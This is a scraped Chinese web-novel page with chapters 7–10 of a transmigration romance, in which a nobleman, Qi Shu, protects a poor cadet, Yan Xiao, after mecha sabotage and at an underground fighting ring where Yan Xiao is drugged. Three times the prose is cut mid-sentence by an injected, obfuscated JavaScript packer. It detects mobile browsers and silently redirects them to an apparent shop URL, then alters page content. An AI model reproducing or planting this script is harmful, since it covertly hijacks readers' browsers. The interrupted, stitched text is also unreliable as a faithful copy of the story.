《虐主文反派罢工不干了》 7. 贫穷的军校生(7) 身上佩戴的精神力检测仪器发出滴滴的警告声,戚疏做个了深呼吸,压下蠢蠢欲动的精神力。 他看向燕骁,目光落在他苍白的脸、干涩的唇,还有脖颈下露出些许的青紫痕迹。 燕骁顺着他的目光低头,看清锁骨处的那一大片好似被凌虐了一般的红紫,默默将宽松的病号服往上拉了拉。 醒来后他浑身酸痛,被医生提醒后才发觉这是精神力实质接触人体时造成的勒痕,当时燕骁把救他的人默认成了教官,对这些勒痕没有什么想法。 但当这个人换成了戚疏…… 燕骁狼狈地偏过脸,感觉被戚疏注视着的那片皮肤烧了起来。 戚疏慢半拍想起那些痕迹的由来:“……” 沉默在两人之间蔓延,戚疏在病床前的椅子坐下,身上穿着和燕骁一模一样的病号服,只是他身形更高大,显得不像个病人。 “抱歉,当时情况紧急,我的精神力没控制好力度。”戚疏施施然替自己的精神力道歉,好像精神力是脱离他控制的个体似的,“你还好么?” 燕骁张了张口,他觉得此刻自己应该说些什么,但大脑一片空白。 过往的经历让他只学会了如何沉默,挨打时不吭声才会被少打几下,被人奚落时不给予反应才被放过,沉默已经变成了他保护自己的手段。 “我没事。”燕骁摇了摇头。 他的目光在戚疏身上扫过,抿了抿唇:“你呢?我听……说,为了救我,你的精神力暴动了。” 戚疏挑眉:“如你所见,已经没事了。” 他身上还带着检测精神力的仪器,怎么看都不像没事,但燕骁也只会沉默地“嗯”一声。 他本来就不是什么善于言说的人,此刻更不知道该说些什么。 戚疏察觉到了他的无措,笑了笑,主动坦诚:“刚才管家对你说的话,我都听到了。” 燕骁一惊,手攥紧了被子:“我……” “不用担心。”戚疏很体贴地说,“也不用把他的话放在心上,他是我父亲的人,但代表不了我的选择,也左右不了我的意志。” “对于他的恶劣揣测,我向你道歉,希望你不要因此心情不好。”戚疏说这话的时候脸上带着很浅的笑,让被他注视的人不由得深陷进去。 燕骁怔了一下,抬眼去看他的眼睛。 那是一双如同世界上最璀璨晶石的幽蓝色眼眸,高贵,神秘,是贫瘠肮脏的垃圾星绝不会拥有的东西。 但此刻,那双眼睛里,是真诚的歉意,还有他的倒影。 急匆匆错开眼,燕骁再次开口:“……不会。” 他本来也没有生气,因为没有资格。 自踏上中央星土地的那一天起,他就已经知道,这片土地上的任何一个人都能轻易践踏他,经历的奚落轻慢太多,燕骁的心早已麻木。 “是吗?”戚疏看着他,那双琥珀色眼睛里的慌乱无所遁形,让人不忍心逼迫他做什么。 戚疏换了个姿势,双腿交叠,十指交叉放在腿上,转移了话题:“好吧,其实我来找你,不只是因为管家的事。” 燕骁果然被他的话吸引,看向他,虽然没说话,但眼里是明晃晃的好奇。 戚疏笑了笑,指了指他,又指了指自己:“你的精神力等级提升了,不好奇为什么吗?” 燕骁自然好奇。 医生对他并没有详细说,只道他的精神力增长到了b+级,但燕骁再深入地问,医生便不说了。 燕骁并不知道自己成年时精神力检测出了s级潜力,他早就接受了自己的平庸,只想努力学习训练毕业后进入军部,从没想过自己还有精神力提升的一天。 戚疏将一份文件递给他,这是他过来前从医生那里要来的,关于他们两人精神力匹配程度的检测报告。 燕骁低头一页页翻开着,表情从一开始的茫然到难以置信,最后定格为更深刻的茫然。 将他的细节变化都收入眼底,戚疏贴心地给了他消化的机会,过了会儿才开口:“就是你看到的这样,我们的精神力匹配度高达98%,当时在机甲内部你失去意识,但精神力依旧活跃,和我的精神力接触后竟主动开始吸纳我的精神力……” 燕骁愣愣的抬眼看他,像是被这个消息打懵了。 帝国提出的有关精神力的概念太复杂,大致可以简单理解为,每个人体内都有一个盛水的容器,里面的水代表了精神力。容器的大小决定了精神力的等级,水装得再多,也无法超出容器能容纳的极限。 容器的大小随着人体的生长同步变化,一般到达成年时定格,之后便很难再变大,也因此绝大多数人在成年时检测出的精神力等级会跟随一辈子,难以晋升。 但燕骁的情况有些不一样,他的容器大小并没有在成年时定格,只是暂时停止了成长,遇到合适的情况便可能催生二次生长,也就是精神力进阶。 原书剧情里,燕骁发现精神力可以提升等级还是在很久之后,戚疏的到来导致了剧情偏移,也让燕骁提升精神力的契机提前了。 当时戚疏用大量纯净的精神力包裹住燕骁,昏迷中的燕骁没有感觉,但他的精神力却开始下意识汲取周围的能量,就这么阴差阳错,戚疏的精神力被他吸收了。 吸收进燕骁身体里的精神力无处存放,便开始冲击盛放精神力的容器,放在别人身上可能会导致容器碎裂变成废人的巨大冲击,放在燕骁身上却意外使他的容器汲取能量开始成长,直到足够将吸收来的全部精神力收拢。 燕骁听完,想说些什么,一张嘴却依旧只有沉默:“……” “怎么,不相信?”戚疏问。 燕骁摇头,声音很轻:“没有不信。” 这么拙劣的谎言,只要询问一下医生就能得到答案,况且戚疏没有理由骗他。 一下子接收到了太多信息,燕骁垂眸思考的样子显得有些呆,戚疏看了片刻,站起身。 燕骁随之抬起头,仰视的视角让他注意到了对方脖颈处暴起的青筋,后知后觉这人依旧处于精神力暴动的折磨中。 精神力活跃期间强硬压制精神力应该很难受,但戚疏却一声不吭,在他的病房里待了这么久,一丝精神力都没有溢出。 “好了,你先休息吧,这些都不重要。”戚疏将散落在他被子上的文件收回,像是专门跟他解释似的说,“这件事不方便被更多人知道,文件需要拿去销毁,如果想看我光脑发你。” 燕骁看着他,点头。 有点呆,又有点乖巧。 戚疏眼底划过一丝微不可察的笑意。 “好了,休息吧,我走了。” * 戚疏的精神力暴动平复得很快,燕骁身上的那些痕迹消失的时候,戚疏也恰好出院。 机甲失控的消息并没有在校内传开,校方封锁了消息,知情人也被勒令不许外传,表面看似平静,实际这平静下已经暗流汹涌。 戚疏下课后被叫到了办公室,在这里看到了几个生面孔,心里却并不感到意外。 “卫明校长,冯羽教官。”戚疏行了个军礼。 卫明校长点了点头,伸手示意他坐下:“戚疏同学,今天找你来,是有件事需要告知你。” 戚疏在待客区的沙发上坐下,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980697|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫过对面坐姿笔挺,一看就是军队出身的两人,又看向神情肃然的冯羽:“是关于机甲失控的事?” “没错。”卫明校长的脸色也不是很好看,显然是调查到了些内情,“让冯羽跟你说吧,这件事我已经全权交给了他处理。” 戚疏看向冯羽。 “这件事的始末我差不多已经查清,机甲确实被人动了手脚,但不是第一军校内部的人。”冯羽神色凝重,解除光脑的隐私模式,让所有人都看到屏幕上的调查结果。 “具体的人还在追查,但我们已经知道,他们的目标是燕骁同学。” 燕骁选的那台机甲出了问题,并不是巧合,而是刻意针对。 冯羽说话时刻意关注着戚疏的表情变化,却没能如愿从他脸上看到吃惊。 冯羽眼底极快闪过一丝戒备,问戚疏:“你得知这个消息,一点都不惊讶?” 那两个军部出身的军官眸光如炬,就连卫明校长也打量了他一会儿,笑道:“看起来,戚疏同学倒是比我们还早一步知道啊。” 戚疏丝毫不慌,他微微颔首,语气礼貌而尊敬:“各位不用对我这么戒备,毕竟事关自己的安危,我自然也很重视。” “戚家的护卫队虽然比不上冯羽上校,但查出一点线索并不难。” 他转头看向校长:“我的精神力是s级,又生在戚家,有多少人盯着我这条命,想来校长也知道。这件事我只有亲自查明才能放心,校长也能理解吧。” 卫明校长看了他片刻,笑了一下:“这是当然。” 冯羽却没放过他:“那你怎么确定,这件事是冲着燕骁去的?我说起燕骁名字的时候你眼里没有半点惊讶的情绪。” “我不能确定是冲着谁去的。”戚疏毫不畏惧地对视回去,“但当时在场的人里,我是s级精神力,他拥有s级精神力潜力。目标是他,在我看来并不如何令人惊讶。” 冯羽抓住重点:“你是怎么知道燕骁的精神力潜力是s级的?” 戚疏看着他,笑了:“世上没有不透风的墙,想知道总会有办法的。” “冯上校。”戚疏笑意不达眼底,话里有话,“与其在这里怀疑我,不如回头看看,或许能找到你想要的答案。” 冯羽皱眉:“你什么意思?” 戚疏身体前倾,声音压低了些,目光直直盯住冯羽的双眼:“能自由进出第一军校,在机甲上做手脚还不被发现,整个帝国只有两个地方可以做到。” 冯羽眉头皱得更深了,校长的表情也发生了细微变化,看向戚疏的眼神更具深意。 “军部,还有皇宫。” 戚疏说完就站起身,一副准备离场的模样:“冯上校,思路我已经告诉你了,接下来的事我不会再掺和,希望您能早日找出真凶。” 他对众人礼貌欠身,随即毫不留恋地转身,离开了校长办公室。 系统很疑惑地问:[你怎么知道这件事是针对燕骁而不是针对你的?] 戚疏透过走廊向外看去,看到了脚步匆匆的燕骁,青年抱着几本书快步路过,去上下一堂课。 有一件事戚疏后来忘了告诉他。 精神力的高度匹配,不仅是能轻松接纳对方精神力这么简单,进行过紧密接触后,高匹配度的精神力会互相感应互相吸引,等级越高,这种感觉越明显。 戚疏站在走廊上看了一会儿,直到燕骁的身影消失在视野中,精神力感应也超出了范围,才慢慢回答了系统的问题。 为什么笃定认为机甲失控是冲着燕骁来的? [因为你说过,这是一篇虐主文。还有,我不相信巧合。] 8. 贫穷的军校生(8) 机甲失控事件戚疏确实如他所说没有再插手,不是不想,而是暂时不能。 既然背后的人是军部或者皇室,那他们的目的也很好猜了,帝国皇室和军部看似和谐实则各自都有小心思,皇室想彻底掌控军部,但军部的将领们大多出自世家贵族,他们不可能让渡利益。 所以他们双方开始暗中博弈,皇室想培养提拔平民出身的将领,而军部则紧抓着权利不放,在这种博弈下,当有人得知第一军校里出现了个精神力潜力极高的平民少年时,必定会有所行动。 或是提前拉拢,或是斩草除根。 显然背后之人选择了后者。 系统听完戚疏的分析,问:[那动手的人就是军部里的喽?] [嗯,应该不会有错。] 但是戚疏现在的势力太单薄,不能明着和军部对上,所以调查只能终止。 [那你很信任冯羽吗,那个上校?]系统有些意外,它没想到戚疏真的会全权交给冯羽处理。 戚疏:[算不上信任,但我相信他能处理干净。] 冯羽这个人在原书中短暂出现过,是个爱憎分明,嫉恶如仇的人。 以燕骁目前的实力,真正的掌权者不会注意到他,动手的人大概率军衔不高,以冯羽的上校身份,不难处理。 * 这些戚疏不打算瞒着燕骁,他有权知道内情,但是戚疏在宿舍等了很久,也没等到人回来。 燕骁从前早出晚归行踪难寻,戚疏尊重他的个人隐私,从来不好奇不调查,但今夜不知为何,戚疏总觉得心里有些不安,心跳的速度都比平时快了点。 精神力突然不受控制地溢出些许,宿舍内的精神力浓度超出了正常值,引发了警报。 没过一会儿,房门被敲响,戚疏拉开门,医生冲上来一针扎在他的手臂上,表情凝重:“同学,你的精神力活跃值过高,自己没有感觉到吗?” 戚疏站着不动,任由医生将安抚药剂注射进他的血管,等了片刻,精神力逐渐平息。 但戚疏依旧能“看”到他的精神力在脑海中躁动的样子。 除了精神力拥有者本人,还有一种情况会导致精神力暴动,那就是曾和它紧密接触过的另一股精神力,在一定时间内,它们彼此间能产生一种微妙的联系,互相感应,互相牵连。 一方精神力出现波动,另一方的精神力也能出现同样的状况,用来提醒,或示警。 帝国曾对精神力匹配度进行过研究,提出了高匹配度精神力合作共赢的设想,但因为高匹配度的精神力样本难以寻找,研究结果很难得到有力支撑,至今没有一个准确的答案。 但戚疏冥冥中有预感,引起他精神力波动的源头,是燕骁。 [系统。]戚疏很快反应过来,冷声质问,[你知道他在哪,是吗?] [……] [别装死。] [好吧,我知道。]系统坦诚地说,[但是我不希望你干预。] 它想世界依照原样走下去,所以刻意在燕骁遇到麻烦的时候没有告知宿主。 它的宿主并不愿意配合它做任务,还屡屡破坏剧情,所以它只好退而求其次,在这个没有发生在原书中的新剧情节点开始后,隐瞒了下来。 只不过还是被戚疏知道了。 夜晚的中央星依旧灯火通明,卡着限速下最高速的悬浮车疾驰而过,戚疏看着导航上那个越来越近的点,气压也越来越低。 系统还在他耳边喋喋不休地劝:[这一次当看不到不可以吗?只有这一次!你总得让我促成一点点剧情吧!] [只是走剧情而已,我保证,主角不会受很重的伤!也不会死!]系统真要急死了,[这本来就是他的命运,是你的到来打乱了一切!他已经少经历了很多个剧情点了!] 从戚疏穿过来的那一刻起,凡是被他碰上的剧情就没有顺利进行下去的,原本除了戚疏还有其他反派阵营的NPC,比如那个魏宣,但是被戚疏警告过后安分了好久,系统看着那些无人推动的剧情点愁的不行。 [我也只是为了世界能运转下去才这样做。]系统见硬的不行,又来软的,[燕骁遭遇的一切不够痛苦,世界就汲取不到足够的能量,你难道想看着这个世界毁灭吗?] 戚疏闭了闭眼。 [你喜欢上了主角吗?]系统冷不丁问。 [和这无关。]戚疏睁开眼,眼中是系统读不懂的情绪,[在你眼里,燕骁是世界运转的核心,但在我这里,他只是个刚成年的孩子。] 星际时代,公民的平均寿命可达两百多岁,二十二岁在这里也才刚成年,人生刚刚开了个头。 上辈子戚疏死的时候是三十岁,已经度过了人生的三分之一,二十二岁,无论是地球还是星际,都还是稚嫩迷茫的孩子。 和喜欢不喜欢无关,戚疏只是看不得一个刚成年的孩子就背负这么多不属于他的枷锁,他本应和其他人一样拥有最好的学生时代,而不是因为一个什么破系统就赔上一生。 悬浮车又提了一次速,三十分钟的路程硬生生被挤压到十二分钟,戚疏从还未停稳的悬浮车上跳下,身影没入前方的小巷之中。 这一片是远离中心区的边缘地带,这里破败、肮脏、泥泞,一栋栋低矮的房屋挤在一起,规划出不规则的道路小巷,这里没有灯,一片死寂。 旁人很难想象帝国最富饶的中央星上还有这种地方,这里往往是没有帝国公民身份的黑户的落脚点,也是一些见不得光的灰色产业的盘踞地。 戚疏身上的军校制服太乍眼,他脱下外套换成了一件长风衣,竖起的衣领遮住下巴,但这张上过帝国新闻的脸依旧引人注目。 戚疏打开光脑点了几下,随后对准自己的脸,程序检测到人脸后开始运作,淡淡的光投射到他的上半身,没一会儿,整个人就换了一幅面孔。 那头标志性的白金色长发变成了浓郁的黑,长度缩至耳廓,成了寻常可见的短发,幽蓝的眼眸慢慢变暗,定格在介于深褐色和黑色之间的颜色,五官的形状微微改动,变成了一种和之前完全不同的硬朗的帅气。 系统看着他这样改头换面,哪怕亲爹来了都认不出这是那位赫赫有名的戚家大少爷。 巷子里太黑,系统飘在戚疏身边,恰好起到了一个沉默的照明灯的作用。 它只是个系统,不懂人类的固执和坚持,但它也有自己的坚持,比如决定一整天不和戚疏说话。 戚疏不在乎它是否摆烂,在路上时他便让手下人先一步查清了燕骁所在,是一处地下格斗场。 大门掩在几座废弃房屋中,新客若无人带领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980698|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定找不到位置,戚疏根据手下人给的位置信息走到了附近,目光扫视一圈,将精神力释放出些许。 那股极浅淡的牵引帮他指明了方向,戚疏来到门口时被一个突然出现的人拦住,是个脸上带疤的年轻男性,露在外面的手臂肌肉贲张,像鼓起的小山,每一寸都蕴含着极强的力量。 那人上下打量了戚疏一遍,声音低沉嘶哑地开口询问:““有凭证吗?” 戚疏泰然自若地递过去一张薄薄的纸片。 男人接过在身旁的墙上扫了一下,滴的一声,检测通过。 他将卡片还给戚疏,声音放平了些,让开道路:“进去吧。” 戚疏从他身旁走过,进入大门后,眼前的景象陡然一变,刚才还是荒芜的破房子,转瞬间就成了灯火通明的格斗场。 格斗场位于地下,空气中混杂着汗味、铁锈味和灼热的血腥气,铁笼子一样的擂台周围挤满了人,嘶吼声和叫骂声震耳欲聋。 入口处挂有提供给不方便露脸的客人的面具,戚疏随手拿了一个盖在脸上,一转身,面前出现了个身着清凉的半大少年,少年冲他柔柔一笑:“客人,请随我来。” 戚疏不动声色地跟了上去。 这里的空气太驳杂,精神力的指引失了作用,戚疏看向擂台上空的大屏幕,今晚的擂台赛已经接近尾声,只剩最后一场,比赛选手分别是“铁甲”和“硝”。 戚疏的直觉告诉他,“硝”就是燕骁。 少年将他带到一处隐私性比较好的包厢,戚疏颔首,冷声道:“下去吧。” 少年愣了一下,口中准备好的话一个字都说不出来,他小心翼翼地抬眸看向身形高大的男人,祈求得到垂怜。 但戚疏看不懂他的暗示,少年站在原地等了一会儿,见戚疏真的没有让他进去的意思,只好咬了咬唇,转身离开。 只剩下戚疏一个人,他在距离擂台最近的沙发上坐下,手中看似把玩着光脑,实则在检测房间内有没有监控器。 世家贵族出身的人身上都有点保命侦查用的小东西,戚疏也不例外,确认房间内没有监控后他便起身拉开门,走了出去。 一路躲着人和摄像头走到后台,一转弯迎面走来几个赤裸着上身的男人,簇拥着中间那个大块头向外走,脸上都挂着轻快的笑容。 路过戚疏时中间那人朝他看了过来,似乎有些疑惑,戚疏半点不慌,目不斜视地越过他们朝后台走去,铁甲望着他的背影多看了两秒。 “铁甲,看什么呢?”旁边那人突然拍了拍他的肩膀。 被众人簇拥在中间的铁甲瞬间将可疑的人抛在了脑后,那人通身贵气,身上衣服价格不菲,肯定是来找大老板谈生意的,他可得罪不起。 铁甲一把搂住旁边人的脖子,大笑着:“没事没事,走,一会儿让你们看看我是怎么打爆那个小鸡崽子!” 一群人哈哈大笑:“好,狠狠打那个不知天高地厚的小子!刚才用精神力压他还敢反抗,一个b级的废物,真不知道哪来的自信!” 铁甲左右看看,压低了声音,狞笑着:“那小子被咱们下了药,一会儿怕是连精神力都使不出来,我今天就让他死在擂台上,给观众见见血!” 戚疏垂眸看了眼时间。 距离最后一场比赛开始还有三分钟。 9. 贫穷的军校生(9) 后台最深处的准备间内,青年扶着墙缓缓蹲下,上身只穿着一件无袖黑色紧身衣,勾勒出流畅的肌肉轮廓,随着呼吸一起一伏。 戚疏推开门看到的就是这一幕。 青年面色潮红,露在外面的皮肤上有不少伤痕,大颗大颗汗水顺着脸颊滚落,没进布满灰尘的地面。 燕骁的呼吸急促到胸膛剧烈起伏,眼神迷蒙,仔细看又带着深深的挣扎,但即便已经这样了,精神力却没有溢出哪怕一点,仿佛只是个没有精神力的普通人。 联想到铁甲离开时说的那句话,戚疏推测他们给燕骁下的恐怕是什么让人短暂丧失精神力的禁药。 关门声响起,燕骁浑身一颤,像受惊的小动物似的抬眼望过去,可惜眼前模糊一片,只能隐约看到一个高大身影朝自己走来。 该死,偏偏是在这种时候。 燕骁急促地喘了口气。 他一时不察被人下了药,药物下在更衣室的矮柜中,拉开柜门时他没有防备,等反应过来再闭气已经来不及,吸入的气体令他浑身酸软无力,就连精神力都被抑制住放不出来。 面前伸过来一只手,他想也不想直接拍开,厉声道:“不想死就滚开!” 戚疏动作一顿,青年见他不离开,眸中闪过一丝狠厉,抬起手臂挡在身前,只要他再敢有动作,就能立刻出击制住来人。 [他应该是刚被注射药物不久,精神力混乱,对身外的一切都极度警惕。]系统解释说。 戚疏没说话,算起来,这还是他第一次见这样浑身炸起尖刺的燕骁。 第一次见面,青年在洗手间被淋了一身水,软包子似的一声不吭;第二次见面,青年被赶出寝室推搡进了他的房间,当时的青年沉默、阴郁,面对他时带着显而易见的防备的抵触,却没有在脸上表露出来。 戚疏知道,他在忍耐,在伪装,因为这里是中央星,是第一军校,是没有后盾的燕骁即使被踩进泥里也不能说一句不的地方。 在戚疏面前,他从来都是隐忍的,沉默的,几乎没有存在感的。 但戚疏并不在意,他知道这是燕骁目前能找到的唯一保护自己的办法,也欣慰他能保护住自己。 但当看到现在这个满身是伤,像个小刺猬炸起浑身的刺用来抵御外来伤害的燕骁,他的心还是不受控制地泛起波澜。 戚疏不知道胸膛中涌动的这股陌生情绪是什么,是可怜,是心疼,还是爱怜。 但是那都不重要。 戚疏只知道,在现在这一刻,他的心是被燕骁牵引的,从此之后的每一刻,或许都将为他跳动了。 对药效排斥最强烈、反应也最大的时间慢慢过去,燕骁感觉身体恢复了一些力气,眼前的景象也慢慢变得清晰起来。 与此同时,戚疏握住了他的手臂,不顾他的挣扎反手一锁,扯着手臂转了半圈将人禁锢在自己怀里。 “嘘,别动,省省力气。” 燕骁没想到会是这样的发展,一时间愣住,反应过来后奋力挣扎,想要逃脱这个陌生滚烫的怀抱:“放开!” “是我。”抱着他的男人在头顶发出一声叹息,语气无奈中带着点点笑意,“看脸认不出来的话,那精神力呢?” 话音落地,一股强烈的精神力在空气中蔓延,从四面八方向燕骁包笼过来,他僵硬着身体,明明应该是极其抗拒的精神力,在碰到的那一刻却仿佛水滴汇入河流,柔和地进入身体。 燕骁偏了偏头,慢半拍地说:“……戚疏?” 戚疏抱着他,持续输送精神力:“嗯,是我。” 这时燕骁才察觉他的声音很熟悉,还有身上带着的淡淡雪松香气,只是…… 他的眼睛能看清东西了,他知道此刻自己应该退开、远离、更加戒备地逼问他为什么知道自己在这里、有什么企图…… 但燕骁望着他,张了张口,带着一点茫然、一点不确定地说:“你的头发和眼睛,怎么变成这样了?” 还有这张陌生的脸,完全不是燕骁记忆中的模样。 戚疏不想把时间浪费在解释这些上,简单概括:“一个小障眼法。” 见燕骁不再挣扎,他也放松了手上钳制的力度,只是虚虚环着手腕,让人靠在自己身上:“感觉怎么样?” 燕骁不太自然地将视线从他胸膛上移开,抽了下手,没能抽回:“好多了,……谢谢。” 他和戚疏的每一次见面好像都伴随着这句话。 “你被下药了,自己清楚么?”戚疏问。 燕骁回过神,过分红润的面色逐渐恢复正常,他抿唇:“不小心中了招,应该是阻隔精神力的禁药。” 他知道药是谁下的,铁甲长了一身肌肉脑子却不好,见他倒下居然大摇大摆走出来,伙同其他人对他奚落一番,言语中透露出了这药的作用。 中药的人的精神力会被阻隔,能感应到却无法调动,铁甲不敢明目张胆下药废了他,是想让他死在擂台比赛中。 “砰砰砰——” 突如其来的敲门声惊扰了两人,燕骁一瞬间紧绷起来,戚疏扶着他的背轻声道:““别出声。” 外面的人敲了两下没了耐心,径直去拧门把手,但戚疏进来时从里面反锁了,他没有钥匙绝对打不开。 果然,那人拧了两下,嘴里骂骂咧咧了两句,然后提高音量:“喂,该你上场了!准备好了没!” 戚疏低头看向自己怀里的人,燕骁对着他摇了摇头。 戚疏作势要起身:“我去打晕他,带你出去。” “不行。”燕骁按住他的手,难得显得有些着急,“比赛,是最后一场了。” 戚疏定定地看着他,燕骁仰着头,这个姿势让他本就瘦削的脸显得更小了,一双琥珀色的明亮眼睛灼灼地看着他。 “告诉铁甲,等我十分钟。”燕骁扬声对外面的人说。 外面的人愣了下:“啊?” 燕骁语气冷漠:“不是他让你来的吗?转告他,比赛延后十分钟,我一定会出现。” 那人嘟嘟囔囔的应了:“啧,谅你也不敢跑,行,就十分钟啊!” 都是在格斗场打工的,如非必要那人也不想招惹燕骁,得到准话后去找铁甲,重复了一遍。 铁甲看着已经燥热起来的场子,咧嘴一笑:““十分钟?” 一旁的裁判兼主持人有些为难:“已经到时间了,再不上场观众们可就……” 铁甲看了他一眼:“你上去再拖十分钟,告诉观众,一会儿绝对有好戏看,他们自然愿意多等一会儿。” 裁判眼里划过了然:“你要在这场动手?” 铁甲掰了掰拳头,目光像盯住猎物的饿狼,带着充满血腥的狠厉:“我要让这小子,死在擂台上。” 暴力,残忍,血腥,极致的死亡,这些都是能让观众热血沸腾的东西,接下来这场表演,他们一定会喜欢的。 * “地下格斗场秩序混乱,对方打定主意针对你,一定还有后手。”戚疏展开精神力,若有似无地笼罩在燕骁周身。 燕骁早在有人敲门时便离开了他的怀抱,此刻隔着一个不远不近的距离,抬头看向他。 明明呼吸还未平静下来,精神力也被隔绝着调动不出一丝,但那双眼中的光芒从未黯淡:“我知道。” 放在膝盖上的手握紧,燕骁重复了一遍:“我知道。” 戚疏深深地看着他。 “格斗场明确制止在比赛中使用精神力,但显然你的对手打算违反规定了。”戚疏蹲下身,和单手撑膝的青年对视,薄唇煽动,“你愿意接受我的帮助吗?” 燕骁看着他,戒备被深深压在了眼底,浮于表面的是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980699|193570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解,和茫然。 戚疏当做没看到他的眼神,继续说:“我说过,我们的精神力匹配度很高,你也曾吸收过我的精神力。” “你中的药阻断了精神力的使用,但如果这时候吸收足够的外来精神力,就可以借力冲破屏障。”戚疏认真地看着他,“要试试吗?” 燕骁心里有些抗拒,他不习惯这种被人帮助的感觉,开口下意识就是:“不用,我自己可……” “你自己不可以。”戚疏强硬地打断了他,迎着青年茫然的双眼,冷静分析,“我相信你即使不用精神力也能赢下比赛,但你会受伤。” 燕骁知道他说的是对的,在比赛对手可能违反规则使用精神力压制自己的情况下,没有精神力的自己很难全身而退。 他张口:“我……唔!” 没有给他犹豫的机会,戚疏释放出大量精神力,并将精神力凝练成更纯净更集中的能量,递到燕骁手边。 不需要刻意的指引,燕骁的身体就开始主动吸收他的精神力,像干涸的河床遇到途径的河流,不顾一切地吸纳,想要留下它。 在这个过程中,燕骁一直紧紧抿着唇,戚疏低头,表情隐忍。 精神力被抽离的感觉并不好受,就像是原本属于自己身体的一部分被硬生生夺走,但戚疏心甘情愿,所以在这种痛楚中也品出了一点点甜。 伸手拨弄了两下青年略长的发梢,露出下面那张咬着唇忍耐快/感的脸,戚疏后知后觉地发现,燕骁其实长得很好看。 不是那种娇柔的好看,是一种带着少年气的俊俏,不浓不淡的眉,纤长的略微上翘的睫毛,和那双让人一见就移不开视线的眼睛。 营养不良导致他的五官线条过于凌厉,但小巧精致的鼻尖和薄薄的唇恰到好处地增添了一份秀气,减少了些整张脸带来的疏离感。 系统突然很煞风景地冒出来,读到了戚疏毫不掩饰的内心想法:[承认吧,你就是爱上他了。] [是么?]戚疏这次没有急着反驳,若有所思地看着怀中人的脸。 * 地下格斗场今夜的最后一场比赛如期而至,伴随着震破天花板的欢呼声,铁甲大步走上擂台,和主持人相视一笑。 “接下来,就有请我们的另一位选手——硝,出场!” 欢呼声和掌声更加热烈,他们已经迫不及待,想要看到这场充斥着暴力与血腥美学的比赛了。 地下格斗场没有正规格斗场那样的规定和防护设备,或者说这里的观众们就想看搏斗双方拳拳见血的模样,所以格斗场也压根没有准备防护道具,铁甲赤手空拳上场,赤裸着上身,肌肉贲张隆起,充满了野性的爆发力。 台下观众已然疯狂:“铁甲!铁甲!” 铁甲,是这个格斗场幕后老板豢养的职业拳手,也是这个格斗场里的明星选手,他的出现无疑将气氛推至高潮。 灯光突然变化,另一侧甬道唰地亮起,一道瘦削得仿佛走错了地方的身影出现,身着无袖黑色紧身衣,脸上戴着一副面具,盖住了大半张脸,只露出红润的唇和尖锐的下巴。 全场的呼声有一瞬间凝滞,随后爆发出更加激烈的起哄声:“硝!是那个一人打遍排行榜登顶的硝!” 格斗场有个选手排行榜,记录了参与过挑战的所有选手,挑战赛生死自负,赢的人直接取代对方选手在排行榜上的位置,输的人则直接被剔除名字,直到下次靠实力打上榜。 而“硝”这个名字横空出世,两个月打遍了排行榜上的所有选手,稳稳列于第一。 台下,戚疏站在一个灯光找不到的死角,安静且专注地望着台上,眼中倒映出那个劲瘦挺拔的身影。 系统问:[奇怪,你现在好像又不担心了。] [嗯。]戚疏回答他,[不担心。] 因为燕骁一定会赢。 10. 贫穷的军校生(10) 擂台之下,观众热血沸腾,这场比赛的双方选手一个是格斗场培养的专业拳手铁甲,一个是登顶排行榜第一的神秘新人,观赏性拉满。 台上安静非常,两位选手各占一方,主持人还在喋喋不休介绍着,努力将场子推向更狂热的高潮,燕骁和铁甲对视,谁也没有移开视线。 这种不正规比赛是有投注的,最终赢得一方可以得到一部分观众下注的收益,燕骁虽然没有明说,但戚疏知道他坚持要打最后一场是为了钱,不然这一晚的努力几乎等同于白费,拿到手的钱和打满比赛拿到的差不少。 负责记录投注的工作人员看到戚疏,从那张没戴面具的英俊面庞上一掠而过,在看清他身上价值不菲的衣服时才露出点笑容:“这位客人,想要投给谁呢?” 戚疏抬眸看向台上,裁判在两人之间做了个手势,然后退后两步,将擂台让给他们,一声哨响,比赛开始。 工作人员等了片刻,直到脸上的笑都要挂不住了。 戚疏淡淡抛出一张未绑定身份的卡,卡片轻飘飘落在桌面。 工作人员连忙捧起来,笑容真切:“客人,您要投哪位?投多少呢?” “投给‘硝’。”戚疏声音低沉,薄唇轻启吐出两个字,“全部。” “全、全部?!”工作人员将卡在光脑上一扫,蹦出来的数字让见惯了豪掷千金的客人的他都忍不住腿软。 戚疏颔首,好似那里面装的不是几百万,而是几百块:“嗯,全投。” 说完他顿了一下,叮嘱道:“不要泄露有关我的任何信息,硝亲自来问也是一样。” 工作人员小心谨慎地点点头:“好、好的,您放心。” 